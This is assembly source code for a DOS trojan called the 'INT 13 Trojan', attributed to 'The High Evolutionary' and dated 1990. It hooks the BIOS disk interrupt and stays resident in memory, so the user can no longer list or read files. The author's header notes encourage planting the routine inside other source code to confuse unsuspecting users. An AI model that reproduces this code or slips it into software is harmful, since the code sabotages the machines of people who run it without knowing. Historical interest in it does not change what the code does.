;***************************************************************************** ; The High Evolutionary's INT 13 Trojan ;***************************************************************************** ; ; Development Notes: ; (Dec.1O.9O) ; ; Well, I was screwing around with TSR's the other day and I got the idea, ; "Hmm. I wonder what would happen if you negated INT 13..." This trojan/TSR ; program answers my query. ; ; It's really a big mess. You can't access any file on the directory, you can't ; DIR anything, can't TYPE anything, I think the only thing you can do is ; DEL which is handled by INT 21. ; ; Well, in any event, put this routine in any nifty source code you see and ; then compile it... It will confuse the fuck out of any 100% "Lame" user. ; ; Have fun... ; ; -= The High Evolutionary =- ; ;***************************************************************************** ; Copyright (C) 199O by The RABID Nat'nl Development Corp. ;***************************************************************************** code segment assume cs:code,ds:code org 100h start: jmp init_vectors mesg db 'INT 13 Trojan by The High Evolutionary' crud db '(C) 199O by RABID Nat''nl Development Corp.' crap dd ? program proc far assume cs:code,ds:nothing mov ax,4c00h ; Terminate Program with exit code 00 int 21h ; Call DOS program endp ; ; The TSR initialization shit happens here... ; init_vectors proc near assume cs:code,ds:code mov ah,35h ; ask for int vector mov al,13h ; intercept INT 13 int 21h ; Call DOS mov word ptr crap,bx mov word ptr crap[2],es mov ah,25h ; set int value mov al,13h ; set for INT 13 mov dx,offset program ; Tell the TSR what to do when accessed int 21h ; Call DOS mov dx,offset init_vectors ; Load in this segment into DX int 27h ; Make the sucker in DX TSR... init_vectors endp code ends end start